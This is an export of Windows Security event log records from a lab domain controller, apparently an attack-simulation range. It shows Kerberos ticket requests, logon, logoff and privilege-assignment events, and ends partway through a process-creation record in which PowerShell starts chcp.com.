Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251088
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251087
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251086
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251085
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127026

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251084
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127026

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251083
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127026
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251082
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251081
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251080
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251079
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x126BDA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251078
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1256F2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251174
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x129AB7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251173
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B1E5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251172
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12B1E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64508

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251171
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B1E5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251170
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B184

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251169
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12B184
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64507

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251168
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B184

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251167
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B11E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251166
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12B11E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64506

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251165
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B11E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251164
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B0BD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251163
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12B0BD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64505

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251162
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B0BD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251161
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12AF2F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251160
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12AF2F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{451C6376-4C9F-3D22-E75E-B69135BFCBD8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251159
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{451C6376-4C9F-3D22-E75E-B69135BFCBD8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251158
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{451C6376-4C9F-3D22-E75E-B69135BFCBD8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251157
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251156
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x120c
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x135c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
